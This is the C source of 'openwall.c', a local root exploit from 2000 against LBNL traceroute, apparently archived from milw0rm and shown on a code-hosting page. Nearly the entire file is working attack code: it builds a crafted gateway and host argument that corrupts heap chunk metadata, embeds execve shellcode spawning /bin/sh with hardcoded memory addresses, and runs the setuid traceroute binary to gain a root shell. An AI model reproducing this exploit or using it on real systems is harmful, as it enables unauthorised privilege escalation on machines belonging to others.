137 lines
No EOL
3.7 KiB
C
137 lines
No EOL
3.7 KiB
C
/*
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* MasterSecuritY <www.mastersecurity.fr>
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*
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* openwall.c - Local root exploit in LBNL traceroute
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* Copyright (C) 2000 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
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*
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* Updated versions of this exploit and the corresponding advisory will
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* be made available at:
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*
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* ftp://maxx.via.ecp.fr/traceroot/
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*
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* This program is free software; you can redistribute it and/or modify
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* it under the terms of the GNU General Public License as published by
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* the Free Software Foundation; either version 2 of the License, or
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* (at your option) any later version.
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*
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* This program is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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* GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License
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* along with this program; if not, write to the Free Software
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* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#define PREV_INUSE 0x1
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#define IS_MMAPPED 0x2
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char * filename = "/usr/sbin/traceroute";
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unsigned int stack = 0xc0000000 - 4;
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unsigned int p = 0x0804ce38;
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unsigned int victim = 0x0804c88c;
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char * jmp = "\xeb\x0aXXYYYYZZZZ";
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char * shellcode =
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/* <shellcode>: xor %edx,%edx */
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"\x31\xd2"
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/* <shellcode+2>: mov %edx,%eax */
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"\x89\xd0"
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/* <shellcode+4>: mov $0xb,%al */
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"\xb0\x0b"
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/* <shellcode+6>: mov $XXXX,%ebx */
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"\xbbXXXX"
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/* <shellcode+11>: mov $XXXX,%ecx */
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"\xb9XXXX"
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/* <shellcode+16>: mov %ebx,(%ecx) */
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"\x89\x19"
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/* <shellcode+18>: mov %edx,0x4(%ecx) */
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"\x89\x51\x04"
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/* <shellcode+21>: int $0x80 */
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"\xcd\x80";
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char * program = "/bin/sh";
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int zero( unsigned int ui )
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{
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if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {
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return( -1 );
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}
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return( 0 );
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}
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int main()
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{
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char gateway[ 1337 ];
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char host[ 1337 ];
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char * argv[] = { filename, "-g", "123", "-g", gateway, host, NULL };
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unsigned int next;
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int i;
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unsigned int hellcode;
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unsigned int size;
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strcpy( host, "AAAABBBBCCCCDDDDEEEE" );
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next = stack - (strlen(filename) + 1) - (strlen(host) + 1) + strlen("AAAA");
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for ( i = 0; i < next - (next & ~3); i++ ) {
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strcat( host, "X" );
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}
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next = next & ~3;
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((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
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((unsigned int *)host)[2] = 0xffffffff;
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if ( zero( victim - 12 ) ) {
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fprintf( stderr, "Null byte(s) in `victim - 12' (0x%08x)!\n", victim - 12 );
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return( -1 );
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}
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((unsigned int *)host)[3] = victim - 12;
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hellcode = p + (strlen("123") + 1) + strlen("0x42.0x42.0x42.0x42") + strlen(" ");
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if ( zero( hellcode ) ) {
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fprintf( stderr, "Null byte(s) in `host' (0x%08x)!\n", hellcode );
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return( -1 );
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}
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((unsigned int *)host)[4] = hellcode;
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size = next - (p - 4);
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size = size | PREV_INUSE;
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sprintf(
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gateway,
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"0x%02x.0x%02x.0x%02x.0x%02x",
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((unsigned char *)(&size))[0],
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((unsigned char *)(&size))[1],
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((unsigned char *)(&size))[2],
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((unsigned char *)(&size))[3]
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);
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strcat( gateway, " " );
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strcat( gateway, jmp );
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strcat( gateway, shellcode );
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strcat( gateway, program );
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hellcode += strlen(jmp) + strlen(shellcode);
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if ( zero( hellcode ) ) {
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fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode );
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return( -1 );
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}
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*((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 7)) = hellcode;
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hellcode += strlen(program) + 1;
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if ( zero( hellcode ) ) {
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fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode );
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return( -1 );
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}
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*((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 12)) = hellcode;
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execve( argv[0], argv, NULL );
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return( -1 );
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}
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// milw0rm.com [2000-11-15]
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